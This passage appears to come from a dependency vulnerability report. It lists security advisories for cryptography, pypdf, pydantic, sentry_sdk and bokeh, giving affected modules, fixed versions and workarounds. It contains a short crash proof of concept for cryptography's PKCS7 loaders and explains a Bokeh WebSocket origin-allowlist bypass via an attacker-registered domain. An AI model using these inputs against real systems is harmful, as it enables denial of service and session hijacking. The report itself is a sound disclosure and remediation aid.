Show detailscryptography is a package designed to expose cryptographic primitives and recipes to Python developers. In affected versions `Cipher.update_into` would accept Python objects which implement the buffer protocol, but provide only immutable buffers. This would allow immutable objects (such as `bytes`) to be mutated, thus violating fundamental rules of Python and resulting in corrupted output. This now correctly raises an exception. This issue has been present since `update_into` was originally introduced in cryptography 1.8.
|
| PYSEC-2026-35 | 46.0.6 | l10n_es_aeat l10n_es_aeat_sii_oca l10n_es_ticketbai l10n_es_facturae l10n_es_ticketbai_api |
Show detailscryptography is a package designed to expose cryptographic primitives and recipes to Python developers. Prior to version 46.0.6, DNS name constraints were only validated against SANs within child certificates, and not the "peer name" presented during each validation. Consequently, cryptography would allow a peer named bar.example.com to validate against a wildcard leaf certificate for *.example.com, even if the leaf's parent certificate (or upwards) contained an excluded subtree constraint for bar.example.com. This issue has been patched in version 46.0.6.
|
| GHSA-m959-cc7f-wv43 | 46.0.6 | l10n_es_aeat l10n_es_aeat_sii_oca l10n_es_ticketbai l10n_es_facturae l10n_es_ticketbai_api |
Show details## Summary
In versions of cryptography prior to 46.0.5, DNS name constraints were only validated against SANs within child certificates, and not the "peer name" presented during each validation. Consequently, cryptography would allow a peer named `bar.example.com` to validate against a wildcard leaf certificate for `*.example.com`, even if the leaf's parent certificate (or upwards) contained an excluded subtree constraint for `bar.example.com`.
This behavior resulted from a gap between RFC 5280 (which defines Name Constraint semantics) and RFC 9525 (which defines service identity semantics): put together, neither states definitively whether Name Constraints should be applied to peer names. To close this gap, cryptography now conservatively rejects any validation where the peer name would be rejected by a name constraint if it were a SAN instead.
In practice, exploitation of this bypass requires an uncommon X.509 topology, one that the Web PKI avoids because it exhibits these kinds of problems. Consequently, we consider this a medium-to-low impact severity.
See CVE-2025-61727 for a similar bypass in Go's `crypto/x509`.
## Remediation
Users should upgrade to 46.0.6 or newer.
## Attribution
Reporter: @1seal
|
| PYSEC-2024-225 | 42.0.4 | l10n_es_aeat l10n_es_aeat_sii_oca l10n_es_ticketbai l10n_es_facturae l10n_es_ticketbai_api |
Show detailscryptography is a package designed to expose cryptographic primitives and recipes to Python developers. Starting in version 38.0.0 and prior to version 42.0.4, if `pkcs12.serialize_key_and_certificates` is called with both a certificate whose public key did not match the provided private key and an `encryption_algorithm` with `hmac_hash` set (via `PrivateFormat.PKCS12.encryption_builder().hmac_hash(...)`, then a NULL pointer dereference would occur, crashing the Python process. This has been resolved in version 42.0.4, the first version in which a `ValueError` is properly raised.
|
| GHSA-9v9h-cgj8-h64p | 42.0.2 | l10n_es_aeat l10n_es_aeat_sii_oca l10n_es_ticketbai l10n_es_facturae l10n_es_ticketbai_api |
Show detailsIssue summary: Processing a maliciously formatted PKCS12 file may lead OpenSSL
to crash leading to a potential Denial of Service attack
Impact summary: Applications loading files in the PKCS12 format from untrusted
sources might terminate abruptly.
A file in PKCS12 format can contain certificates and keys and may come from an
untrusted source. The PKCS12 specification allows certain fields to be NULL, but
OpenSSL does not correctly check for this case. This can lead to a NULL pointer
dereference that results in OpenSSL crashing. If an application processes PKCS12
files from an untrusted source using the OpenSSL APIs then that application will
be vulnerable to this issue.
OpenSSL APIs that are vulnerable to this are: PKCS12_parse(),
PKCS12_unpack_p7data(), PKCS12_unpack_p7encdata(), PKCS12_unpack_authsafes()
and PKCS12_newpass().
We have also fixed a similar issue in SMIME_write_PKCS7(). However since this
function is related to writing data we do not consider it security significant.
The FIPS modules in 3.2, 3.1 and 3.0 are not affected by this issue.
|
| GHSA-jfhm-5ghh-2f97 | 41.0.6 | l10n_es_aeat l10n_es_aeat_sii_oca l10n_es_ticketbai l10n_es_facturae l10n_es_ticketbai_api |
Show details### Summary
Calling `load_pem_pkcs7_certificates` or `load_der_pkcs7_certificates` could lead to a NULL-pointer dereference and segfault.
### PoC
Here is a Python code that triggers the issue:
```python
from cryptography.hazmat.primitives.serialization.pkcs7 import load_der_pkcs7_certificates, load_pem_pkcs7_certificates
pem_p7 = b"""
-----BEGIN PKCS7-----
MAsGCSqGSIb3DQEHAg==
-----END PKCS7-----
"""
der_p7 = b"\x30\x0B\x06\x09\x2A\x86\x48\x86\xF7\x0D\x01\x07\x02"
load_pem_pkcs7_certificates(pem_p7)
load_der_pkcs7_certificates(der_p7)
```
### Impact
Exploitation of this vulnerability poses a serious risk of Denial of Service (DoS) for any application attempting to deserialize a PKCS7 blob/certificate. The consequences extend to potential disruptions in system availability and stability.
|
| pydantic<2 | |||
|---|---|---|---|
| ID | Fixed In | Affected modules | Details |
| GHSA-mr82-8j83-vxmv | 2.4.0, 1.10.13 | fastapi base_rest_pydantic pydantic base_rest_demo stay_api |
Show detailsRegular expression denial of service in Pydantic < 2.4.0, < 1.10.13 allows remote attackers to cause denial of service via a crafted email string.
|
| pypdf>=3.1.0,<5.0 | |||
|---|---|---|---|
| ID | Fixed In | Affected modules | Details |
| GHSA-87mj-5ggw-8qc3 | 6.9.2 | pdf_helper account_invoice_import_simple_pdf |
Show details### Impact
An attacker who uses this vulnerability can craft a PDF which leads to an infinite loop. This requires reading a file in non-strict mode.
### Patches
This has been fixed in [pypdf==6.9.2](https://github.com/py-pdf/pypdf/releases/tag/6.9.2).
### Workarounds
If users cannot upgrade yet, consider applying the changes from PR [#3693](https://github.com/py-pdf/pypdf/pull/3693).
|
| GHSA-j543-4vmf-qm7v | 6.12.2 | pdf_helper account_invoice_import_simple_pdf |
Show details### Impact
An attacker who uses this vulnerability can craft a PDF which leads to large memory usage. This requires extracting the text of a page which contains a form XObject with self-references.
### Patches
This has been fixed in [pypdf==6.12.2](https://github.com/py-pdf/pypdf/releases/tag/6.12.2).
### Workarounds
If you cannot upgrade yet, consider applying the changes from PR [#3805](https://github.com/py-pdf/pypdf/pull/3805).
|
| GHSA-5hgr-hg42-57jg | 6.12.2 | pdf_helper account_invoice_import_simple_pdf |
Show details### Impact
An attacker who uses this vulnerability can craft a PDF which leads to long runtimes. This requires accessing a stream which uses the `/FlateDecode` filter with a PNG predictor.
### Patches
This has been fixed in [pypdf==6.12.2](https://github.com/py-pdf/pypdf/releases/tag/6.12.2).
### Workarounds
If you cannot upgrade yet, consider applying the changes from PR [#3806](https://github.com/py-pdf/pypdf/pull/3806).
|
| GHSA-9m86-7pmv-2852 | 6.7.5 | pdf_helper account_invoice_import_simple_pdf |
Show details### Impact
An attacker who uses this vulnerability can craft a PDF which leads to long runtimes. This requires accessing a stream which uses the `/ASCIIHexDecode` filter.
### Patches
This has been fixed in [pypdf==6.7.5](https://github.com/py-pdf/pypdf/releases/tag/6.7.5).
### Workarounds
If you cannot upgrade yet, consider applying the changes from PR [#3666](https://github.com/py-pdf/pypdf/pull/3666).
|
| GHSA-248m-82v9-q6g6 | 6.12.0 | pdf_helper account_invoice_import_simple_pdf |
Show details### Impact
An attacker who uses this vulnerability can craft a PDF which leads to long runtimes. This requires cross-reference streams with `/W [0 0 0]` values and large `/Size` values.
### Patches
This has been fixed in [pypdf==6.12.0](https://github.com/py-pdf/pypdf/releases/tag/6.12.0).
### Workarounds
If developers are unable to upgrade their apps immediately, they should consider applying the changes from PR [#3791](https://github.com/py-pdf/pypdf/pull/3791).
|
| GHSA-7gw9-cf7v-778f | 6.10.2 | pdf_helper account_invoice_import_simple_pdf |
Show details### Impact
An attacker who uses this vulnerability can craft a PDF which leads to the RAM being exhausted. This requires accessing a stream compressed using `/FlateDecode` with a `/Predictor` unequal 1 and large predictor parameters.
### Patches
This has been fixed in [pypdf==6.10.2](https://github.com/py-pdf/pypdf/releases/tag/6.10.2).
### Workarounds
If you cannot upgrade yet, consider applying the changes from PR [#3734](https://github.com/py-pdf/pypdf/pull/3734).
|
| GHSA-4pxv-j86v-mhcw | 6.10.2 | pdf_helper account_invoice_import_simple_pdf |
Show details### Impact
An attacker who uses this vulnerability can craft a PDF which leads to long runtimes. This requires loading a PDF with a large trailer `/Size` value in incremental mode.
### Patches
This has been fixed in [pypdf==6.10.2](https://github.com/py-pdf/pypdf/releases/tag/6.10.2).
### Workarounds
If you cannot upgrade yet, consider applying the changes from PR [#3735](https://github.com/py-pdf/pypdf/pull/3735).
|
| GHSA-52x6-gq3r-vpf4 | 6.13.0 | pdf_helper account_invoice_import_simple_pdf |
Show details### Impact
An attacker who uses this vulnerability can craft a PDF which leads to an infinite loop. This requires extracting the text in layout mode.
### Patches
This has been fixed in [pypdf==6.13.0](https://github.com/py-pdf/pypdf/releases/tag/6.13.0).
### Workarounds
If you cannot upgrade yet, consider applying the changes from PR [#3830](https://github.com/py-pdf/pypdf/pull/3830).
|
| GHSA-cj93-chg6-vgv8 | 6.12.0 | pdf_helper account_invoice_import_simple_pdf |
Show details### Impact
An attacker who uses this vulnerability can craft a PDF which leads to large memory usage. This requires extracting text in layout mode with large character offsets.
### Patches
This has been fixed in [pypdf==6.12.0](https://github.com/py-pdf/pypdf/releases/tag/6.12.0).
### Workarounds
If developers are unable to immediately upgrade, they should consider applying the changes from PR [#3790](https://github.com/py-pdf/pypdf/pull/3790).
|
| GHSA-m449-cwjh-6pw7 | 6.4.0 | pdf_helper account_invoice_import_simple_pdf |
Show details### Impact
An attacker who uses this vulnerability can craft a PDF which leads to a memory usage of up to 1 GB per stream. This requires parsing the content stream of a page using the LZWDecode filter.
This is a follow up to [GHSA-jfx9-29x2-rv3j](https://github.com/py-pdf/pypdf/security/advisories/GHSA-jfx9-29x2-rv3j) to align the default limit with the one for *zlib*.
### Patches
This has been fixed in [pypdf==6.4.0](https://github.com/py-pdf/pypdf/releases/tag/6.4.0).
### Workarounds
If users cannot upgrade yet, use the line below to overwrite the default in their code:
```python
pypdf.filters.LZW_MAX_OUTPUT_LENGTH = 75_000_000
```
|
| GHSA-vr63-x8vc-m265 | 6.1.3 | pdf_helper account_invoice_import_simple_pdf |
Show details### Impact
An attacker who uses this vulnerability can craft a PDF which leads to an infinite loop. This requires parsing the content stream of a page which has an inline image using the DCTDecode filter.
### Patches
This has been fixed in [pypdf==6.1.3](https://github.com/py-pdf/pypdf/releases/tag/6.1.3).
### Workarounds
If you cannot upgrade yet, consider applying the changes from PR [#3501](https://github.com/py-pdf/pypdf/pull/3501).
|
| GHSA-2q4j-m29v-hq73 | 6.6.2 | pdf_helper account_invoice_import_simple_pdf |
Show details### Impact
An attacker who uses this vulnerability can craft a PDF which leads to an infinite loop. This requires accessing the outlines/bookmarks.
### Patches
This has been fixed in [pypdf 6.6.2](https://github.com/py-pdf/pypdf/releases/tag/6.6.2).
### Workarounds
If projects cannot upgrade yet, consider applying the changes from PR [#3610](https://github.com/py-pdf/pypdf/pull/3610).
|
| GHSA-hqmh-ppp3-xvm7 | 6.8.0 | pdf_helper account_invoice_import_simple_pdf |
Show details### Impact
An attacker who uses this vulnerability can craft a PDF which leads to large memory usage. This requires parsing a content stream with a rather large `/Length` value, regardless of the actual data length inside the stream.
### Patches
This has been fixed in [pypdf==6.8.0](https://github.com/py-pdf/pypdf/releases/tag/6.8.0).
### Workarounds
If you cannot upgrade yet, consider applying the changes from PR [#3675](https://github.com/py-pdf/pypdf/pull/3675).
As far as we are aware, this mostly affects reading from buffers of unknown size, as returned by `open("file.pdf", mode="rb")` for example. Passing a file path or a `BytesIO` buffer to *pypdf* instead does not seem to trigger the vulnerability.
|
| GHSA-7hfw-26vp-jp8m | 6.0.0 | pdf_helper account_invoice_import_simple_pdf |
Show details### Impact
An attacker who uses this vulnerability can craft a PDF which leads to the RAM being exhausted. This requires just reading the file if a series of FlateDecode filters is used on a malicious cross-reference stream. Other content streams are affected on explicit access.
### Patches
This has been fixed in [pypdf==6.0.0](https://github.com/py-pdf/pypdf/releases/tag/6.0.0).
### Workarounds
If you cannot upgrade yet, you might want to implement the workaround for `pypdf.filters.decompress` yourself: https://github.com/py-pdf/pypdf/blob/0dd57738bbdcdb63f0fb43d8a6b3d222b6946595/pypdf/filters.py#L72-L143
### References
This issue has been reported in #3429 and fixed in #3430.
|
| GHSA-4f6g-68pf-7vhv | 6.6.0 | pdf_helper account_invoice_import_simple_pdf |
Show details### Impact
An attacker who exploits this vulnerability can craft a PDF which leads to possibly long runtimes for invalid `startxref` entries. When rebuilding the cross-reference table, PDF files with lots of whitespace characters become problematic. Only the non-strict reading mode is affected.
### Patches
This has been fixed in [pypdf==6.6.0](https://github.com/py-pdf/pypdf/releases/tag/6.6.0).
### Workarounds
```python
from pypdf import PdfReader, PdfWriter
# Instead of
reader = PdfReader("file.pdf")
# use the strict mode:
reader = PdfReader("file.pdf", strict=True)
# Instead of
writer = PdfWriter(clone_from="file.pdf")
# use an explicit strict reader:
writer = PdfWriter(clone_from=PdfReader("file.pdf", strict=True))
```
### Resources
This issue has been fixed in #3594.
|
| GHSA-m2v9-299j-rv96 | 6.13.0 | pdf_helper account_invoice_import_simple_pdf |
Show details### Impact
An attacker who uses this vulnerability can craft a PDF which leads to an infinite loop. This requires merging a file with outlines into a writer.
### Patches
This has been fixed in [pypdf==6.13.0](https://github.com/py-pdf/pypdf/releases/tag/6.13.0).
### Workarounds
If you cannot upgrade yet, consider applying the changes from PR [#3830](https://github.com/py-pdf/pypdf/pull/3830).
|
| GHSA-wgvp-vg3v-2xq3 | 6.7.1 | pdf_helper account_invoice_import_simple_pdf |
Show details### Impact
An attacker who uses this vulnerability can craft a PDF which leads to long runtimes and large memory consumption. This requires parsing the `/ToUnicode` entry of a font with unusually large values, for example during text extraction.
### Patches
This has been fixed in [pypdf==6.7.1](https://github.com/py-pdf/pypdf/releases/tag/6.7.1).
### Workarounds
If you cannot upgrade yet, consider applying the changes from PR [#3646](https://github.com/py-pdf/pypdf/pull/3646).
|
| GHSA-x284-j5p8-9c5p | 6.10.2 | pdf_helper account_invoice_import_simple_pdf |
Show details### Impact
An attacker who uses this vulnerability can craft a PDF which leads to the RAM being exhausted. This requires accessing an image using `/FlateDecode` with large size values.
### Patches
This has been fixed in [pypdf==6.10.2](https://github.com/py-pdf/pypdf/releases/tag/6.10.2).
### Workarounds
If you cannot upgrade yet, consider applying the changes from PR [#3734](https://github.com/py-pdf/pypdf/pull/3734).
|
| GHSA-f2v5-7jq9-h8cg | 6.7.4 | pdf_helper account_invoice_import_simple_pdf |
Show details### Impact
An attacker who uses this vulnerability can craft a PDF which leads to large memory usage. This requires parsing the content stream using the RunLengthDecode filter.
### Patches
This has been fixed in [pypdf==6.7.4](https://github.com/py-pdf/pypdf/releases/tag/6.7.4).
### Workarounds
If you cannot upgrade yet, consider applying the changes from PR [#3664](https://github.com/py-pdf/pypdf/pull/3664).
|
| GHSA-jj6c-8h6c-hppx | 6.10.1 | pdf_helper account_invoice_import_simple_pdf |
Show details### Impact
An attacker who uses this vulnerability can craft a PDF which leads to long runtimes. This requires cross-reference streams with wrong large `/Size` values or object streams with wrong large `/N` values.
### Patches
This has been fixed in [pypdf==6.10.1](https://github.com/py-pdf/pypdf/releases/tag/6.10.1).
### Workarounds
If you cannot upgrade yet, consider applying the changes from PR [#3733](https://github.com/py-pdf/pypdf/pull/3733).
|
| GHSA-wjqc-6w8f-h24c | 6.12.1 | pdf_helper account_invoice_import_simple_pdf |
Show details### Impact
An attacker who uses this vulnerability can craft a PDF which leads to large memory usage. This requires parsing large XMP metadata, possibly with lots of unnecessary elements.
### Patches
This has been fixed in [pypdf==6.12.1](https://github.com/py-pdf/pypdf/releases/tag/6.12.1).
### Workarounds
If you cannot upgrade yet, consider applying the changes from PR [#3796](https://github.com/py-pdf/pypdf/pull/3796).
|
| GHSA-2rw7-x74f-jg35 | 6.7.2 | pdf_helper account_invoice_import_simple_pdf |
Show details### Impact
An attacker who uses this vulnerability can craft a PDF which leads to an infinite loop. This requires reading the file.
### Patches
This has been fixed in [pypdf==6.7.2](https://github.com/py-pdf/pypdf/releases/tag/6.7.2).
### Workarounds
If users cannot upgrade yet, consider applying the changes from PR [#3655](https://github.com/py-pdf/pypdf/pull/3655).
|
| GHSA-996q-pr4m-cvgq | 6.7.1 | pdf_helper account_invoice_import_simple_pdf |
Show details### Impact
An attacker who uses this vulnerability can craft a PDF which leads to an infinite loop. This requires accessing the children of a `TreeObject`, for example as part of outlines.
### Patches
This has been fixed in [pypdf==6.7.1](https://github.com/py-pdf/pypdf/releases/tag/6.7.1).
### Workarounds
If you cannot upgrade yet, consider applying the changes from PR [#3645](https://github.com/py-pdf/pypdf/pull/3645).
|
| GHSA-qpxp-75px-xjcp | 6.9.1 | pdf_helper account_invoice_import_simple_pdf |
Show details### Impact
An attacker who uses this vulnerability can craft a PDF which leads to long runtimes and/or large memory usage. This requires accessing an array-based stream with lots of entries.
### Patches
This has been fixed in [pypdf==6.9.1](https://github.com/py-pdf/pypdf/releases/tag/6.9.1).
### Workarounds
If you cannot upgrade yet, consider applying the changes from PR [#3686](https://github.com/py-pdf/pypdf/pull/3686).
|
| GHSA-jfx9-29x2-rv3j | 6.1.3 | pdf_helper account_invoice_import_simple_pdf |
Show details### Impact
An attacker who uses this vulnerability can craft a PDF which leads to large memory usage. This requires parsing the content stream of a page using the LZWDecode filter.
### Patches
This has been fixed in [pypdf==6.1.3](https://github.com/py-pdf/pypdf/releases/tag/6.1.3).
### Workarounds
If you cannot upgrade yet, consider applying the changes from PR [#3502](https://github.com/py-pdf/pypdf/pull/3502).
|
| GHSA-jm82-fx9c-mx94 | 6.13.3 | pdf_helper account_invoice_import_simple_pdf |
Show details### Impact
An attacker who uses this vulnerability can craft a PDF which leads to large memory usage, as `MAX_DECLARED_STREAM_LENGTH` is sometimes ignored. This requires parsing a content stream without a `/Length` value.
### Patches
This has been fixed in [pypdf==6.13.3](https://github.com/py-pdf/pypdf/releases/tag/6.13.3).
### Workarounds
If you cannot upgrade yet, consider applying the changes from PR [#3871](https://github.com/py-pdf/pypdf/pull/3871).
|
| GHSA-x7hp-r3qg-r3cj | 6.7.3 | pdf_helper account_invoice_import_simple_pdf |
Show details### Impact
An attacker who uses this vulnerability can craft a PDF which leads to the RAM being exhausted. This requires accessing the `xfa` property of a reader or writer and the corresponding stream being compressed using `/FlateDecode`.
### Patches
This has been fixed in [pypdf==6.7.3](https://github.com/py-pdf/pypdf/releases/tag/6.7.3).
### Workarounds
If projects cannot upgrade yet, consider applying the changes from PR [#3658](https://github.com/py-pdf/pypdf/pull/3658).
|
| GHSA-3crg-w4f6-42mx | 6.10.0 | pdf_helper account_invoice_import_simple_pdf |
Show details### Impact
An attacker who uses this vulnerability can craft a PDF which leads to large memory usage. This requires parsing the XMP metadata.
### Patches
This has been fixed in [pypdf==6.10.0](https://github.com/py-pdf/pypdf/releases/tag/6.10.0).
### Workarounds
If you cannot upgrade yet, consider applying the changes from PR [#3724](https://github.com/py-pdf/pypdf/pull/3724).
|
| GHSA-4xc4-762w-m6cg | 6.6.0 | pdf_helper account_invoice_import_simple_pdf |
Show details### Impact
An attacker who exploits this vulnerability can craft a PDF which leads to possibly long runtimes for actually invalid files. This can be achieved by omitting the `/Root` entry in the trailer, while using a rather large `/Size` value. Only the non-strict reading mode is affected.
### Patches
This has been fixed in [pypdf==6.6.0](https://github.com/py-pdf/pypdf/releases/tag/6.6.0).
### Workarounds
```python
from pypdf import PdfReader, PdfWriter
# Instead of
reader = PdfReader("file.pdf")
# use the strict mode:
reader = PdfReader("file.pdf", strict=True)
# Instead of
writer = PdfWriter(clone_from="file.pdf")
# use an explicit strict reader:
writer = PdfWriter(clone_from=PdfReader("file.pdf", strict=True))
```
### Resources
This issue has been fixed in #3594.
|
| GHSA-9mvc-8737-8j8h | 6.7.1 | pdf_helper account_invoice_import_simple_pdf |
Show details### Impact
An attacker who uses this vulnerability can craft a PDF which leads to long runtimes. This requires a malformed `/FlateDecode` stream, where the byte-by-byte decompression is used.
### Patches
This has been fixed in [pypdf==6.7.1](https://github.com/py-pdf/pypdf/releases/tag/6.7.1).
### Workarounds
If you cannot upgrade yet, consider applying the changes from PR [#3644](https://github.com/py-pdf/pypdf/pull/3644).
|
| sentry_sdk<=1.9.0 | |||
|---|---|---|---|
| ID | Fixed In | Affected modules | Details |
| GHSA-g92j-qhmh-64v2 | 2.8.0, 1.45.1 | sentry |
Show details### Impact
The bug in Sentry's Python SDK <2.8.0 results in the unintentional exposure of environment variables to subprocesses despite the `env={}` setting.
### Details
In Python's `subprocess` calls, all environment variables are passed to subprocesses by default. However, if you specifically do not want them to be passed to subprocesses, you may use `env` argument in `subprocess` calls, like in this example:
```
>>> subprocess.check_output(["env"], env={"TEST":"1"})
b'TEST=1\n'
```
If you'd want to not pass any variables, you can set an empty dict:
```
>>> subprocess.check_output(["env"], env={})
b''
```
However, the bug in Sentry SDK <2.8.0 causes **all environment variables** to be passed to the subprocesses when `env={}` is set, unless the Sentry SDK's [Stdlib](https://docs.sentry.io/platforms/python/integrations/default-integrations/#stdlib) integration is disabled. The Stdlib integration is enabled by default.
### Patches
The issue has been patched in https://github.com/getsentry/sentry-python/pull/3251 and the fix released in [sentry-sdk==2.8.0](https://github.com/getsentry/sentry-python/releases/tag/2.8.0). The fix was also backported to [sentry-sdk==1.45.1](https://github.com/getsentry/sentry-python/releases/tag/1.45.1).
### Workarounds
We strongly recommend upgrading to the latest SDK version. However, if it's not possible, and if passing environment variables to child processes poses a security risk for you, there are two options:
1. In your application, replace `env={}` with the minimal dict `env={"EMPTY_ENV":"1"}` or similar.
OR
2. Disable Stdlib integration:
```
import sentry_sdk
# Should go before sentry_sdk.init
sentry_sdk.integrations._DEFAULT_INTEGRATIONS.remove("sentry_sdk.integrations.stdlib.StdlibIntegration")
sentry_sdk.init(...)
```
### References
* Sentry docs: [Default integrations](https://docs.sentry.io/platforms/python/integrations/default-integrations/)
* Python docs: [subprocess module](https://docs.python.org/3/library/subprocess.html)
* Patch https://github.com/getsentry/sentry-python/pull/3251
|
| GHSA-29pr-6jr8-q5jm | 1.14.0 | sentry |
Show details### Impact
When using the [Django integration](https://docs.sentry.io/platforms/python/guides/django/) of the Sentry SDK in a specific configuration it is possible to leak sensitive cookies values, including the session cookie to Sentry. These sensitive cookies could then be used by someone with access to your Sentry issues to impersonate or escalate their privileges within your application.
The below must be true in order for these sensitive values to be leaked:
1. Your Sentry SDK configuration has `sendDefaultPII` set to `True`
2. You are using a custom name for either of the cookies below in your Django settings.
- [`SESSION_COOKIE_NAME`](https://docs.djangoproject.com/en/4.1/ref/settings/#std-setting-SESSION_COOKIE_NAME) or
- [`CSRF_COOKIE_NAME`](https://docs.djangoproject.com/en/4.1/ref/settings/#std-setting-CSRF_COOKIE_NAME) Django settings
3. You are not configured in your organization or project settings to use [our data scrubbing features](https://docs.sentry.io/product/data-management-settings/scrubbing/) to account for the custom cookie names
### Patches
As of version `1.14.0`, the Django integration of the `sentry-sdk` will detect the custom cookie names based on your Django settings and will remove the values from the payload _before_ sending the data to Sentry.
### Workarounds
If you can not update your `sentry-sdk` to a patched version than you can use the SDKs filtering mechanism to remove the cookies from the payload that is sent to Sentry. For error events this can be done with the [before_send](https://docs.sentry.io/platforms/python/configuration/filtering/#using-platformidentifier-namebefore-send-) callback method and for performance related events (transactions) you can use the [before_send_transaction](https://docs.sentry.io/platforms/python/configuration/filtering/#using-platformidentifier-namebefore-send-transaction-) callback method.
If you'd like to handle filtering of these values on the server-side, you can also use our [advanced data scrubbing feature](https://docs.sentry.io/product/data-management-settings/scrubbing/advanced-datascrubbing/) to account for the custom cookie names. Look for the `$http.cookies`, `$http.headers`, `$request.cookies`, or `$request.headers` fields to target with your scrubbing rule.
### References
- [Using Your Tools Against You (Chapter8 Blog Post)](https://medium.com/@tomwolters/using-your-tools-against-you-cea4d2482ebb)
- [Sentry Python SDK Filtering](https://docs.sentry.io/platforms/python/configuration/filtering/)
- [Sentry Data Scrubbing](https://docs.sentry.io/product/data-management-settings/scrubbing/advanced-datascrubbing/)
### Credits
- [Tom Wolters (Chapter8)](https://chapter8.com)
|
51 vulnerabilities across 7 packages, affecting 11 modules.
| bokeh==2.4.2 | |||
|---|---|---|---|
| ID | Fixed In | Affected modules | Details |
| GHSA-793v-589g-574v | 3.8.2 | web_widget_bokeh_chart |
Show detailsThis vulnerability allows for **Cross-Site WebSocket Hijacking (CSWSH)** of a deployed Bokeh server instance.
### Scope
This vulnerability is only relevant to deployed Bokeh server instances. There is no impact on static HTML output, standalone embedded plots, or Jupyter notebook usage.
This vulnerability does not prevent any requirements for up-front authentication on Bokeh servers that have authentication hooks in place, and cannot be used to make Bokeh servers deployed on private, internal networks accessible outside those networks.
### Impact
If a Bokeh server is configured with an allowlist (e.g., `dashboard.corp`), an attacker can register a domain like `dashboard.corp.attacker.com` (or use a subdomain if applicable) and lure a victim to visit it. The malicious site can then initiate a WebSocket connection to the vulnerable Bokeh server. Since the Origin header (e.g., `http://dashboard.corp.attacker.com/`) matches the allowlist according to the flawed logic, the connection is accepted.
Once connected, the attacker can interact with the Bokeh server on behalf of the victim, potentially accessing sensitive data, or modifying visualizations.
### Patches
Patched in versions 3.8.2 and later.
### Workarounds
None
### Technical description
The `match_host` function in `src/bokeh/server/util.py` contains a flaw in how it compares hostnames against the allowlist patterns. The function uses Python's `zip()` function to iterate over the parts of the hostname and the pattern simultaneously. However, `zip()` stops iteration when the shortest iterable is exhausted.
Because the code only checks if the *pattern* is longer than the *host* (lines 232-233), but fails to check if the *host* is longer than the *pattern*, a host that **starts** with the pattern (but has additional segments) will successfully match.
For example, if the allowlist is configured to `['[example.com](http://example.com/)']`, the function will incorrectly validate `[example.com.bad.com](http://example.com.evil.com/)` as a match:
1. `host` parts: `['example', 'com', 'bad', 'com']`
2. `pattern` parts: `['example', 'com']`
3. `zip` compares `example==example` (OK) and `com==com` (OK).
4. Iteration stops, and the function returns `True`.
|
| cryptography<37 | |||
|---|---|---|---|
| ID | Fixed In | Affected modules | Details |
| GHSA-3ww4-gg4f-jr7f | 42.0.0 | connector_importer_source_sftp storage_backend_sftp mail_drop_target |
Show detailsA flaw was found in the python-cryptography package. This issue may allow a remote attacker to decrypt captured messages in TLS servers that use RSA key exchanges, which may lead to exposure of confidential or sensitive data.
|
| GHSA-v8gr-m533-ghj9 | 41.0.4 | connector_importer_source_sftp storage_backend_sftp mail_drop_target |
Show detailspyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in cryptography 2.5-41.0.3 are vulnerable to several security issues. More details about the vulnerabilities themselves can be found in https://www.openssl.org/news/secadv/20230908.txt.
If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.
|
| GHSA-9v9h-cgj8-h64p | 42.0.2 | connector_importer_source_sftp storage_backend_sftp mail_drop_target |
Show detailsIssue summary: Processing a maliciously formatted PKCS12 file may lead OpenSSL
to crash leading to a potential Denial of Service attack
Impact summary: Applications loading files in the PKCS12 format from untrusted
sources might terminate abruptly.
A file in PKCS12 format can contain certificates and keys and may come from an
untrusted source. The PKCS12 specification allows certain fields to be NULL, but
OpenSSL does not correctly check for this case. This can lead to a NULL pointer
dereference that results in OpenSSL crashing. If an application processes PKCS12
files from an untrusted source using the OpenSSL APIs then that application will
be vulnerable to this issue.
OpenSSL APIs that are vulnerable to this are: PKCS12_parse(),
PKCS12_unpack_p7data(), PKCS12_unpack_p7encdata(), PKCS12_unpack_authsafes()
and PKCS12_newpass().
We have also fixed a similar issue in SMIME_write_PKCS7(). However since this
function is related to writing data we do not consider it security significant.
The FIPS modules in 3.2, 3.1 and 3.0 are not affected by this issue.
|
| GHSA-5cpq-8wj7-hf2v | 41.0.0 | connector_importer_source_sftp storage_backend_sftp mail_drop_target |
Show detailspyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in cryptography 0.5-40.0.2 are vulnerable to a security issue. More details about the vulnerability itself can be found in https://www.openssl.org/news/secadv/20230530.txt.
If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.
|
| GHSA-x4qr-2fvf-3mr5 | 39.0.1 | connector_importer_source_sftp storage_backend_sftp mail_drop_target |
Show detailspyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in cryptography 0.8.1-39.0.0 are vulnerable to a security issue. More details about the vulnerabilities themselves can be found in https://www.openssl.org/news/secadv/20221213.txt and https://www.openssl.org/news/secadv/20230207.txt.
If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.
|
| GHSA-jfhm-5ghh-2f97 | 41.0.6 | connector_importer_source_sftp storage_backend_sftp mail_drop_target |
Show details### Summary
Calling `load_pem_pkcs7_certificates` or `load_der_pkcs7_certificates` could lead to a NULL-pointer dereference and segfault.
### PoC
Here is a Python code that triggers the issue:
```python
from cryptography.hazmat.primitives.serialization.pkcs7 import load_der_pkcs7_certificates, load_pem_pkcs7_certificates
pem_p7 = b"""
-----BEGIN PKCS7-----
MAsGCSqGSIb3DQEHAg==
-----END PKCS7-----
"""
der_p7 = b"\x30\x0B\x06\x09\x2A\x86\x48\x86\xF7\x0D\x01\x07\x02"
load_pem_pkcs7_certificates(pem_p7)
load_der_pkcs7_certificates(der_p7)
```
### Impact
Exploitation of this vulnerability poses a serious risk of Denial of Service (DoS) for any application attempting to deserialize a PKCS7 blob/certificate. The consequences extend to potential disruptions in system availability and stability.
|
| GHSA-w7pp-m8wf-vj6r | 39.0.1 | connector_importer_source_sftp storage_backend_sftp mail_drop_target |
Show detailsPreviously, `Cipher.update_into` would accept Python objects which implement the buffer protocol, but provide only immutable buffers:
```pycon
>>> outbuf = b"\x00" * 32
>>> c = ciphers.Cipher(AES(b"\x00" * 32), modes.ECB()).encryptor()
>>> c.update_into(b"\x00" * 16, outbuf)
16
>>> outbuf
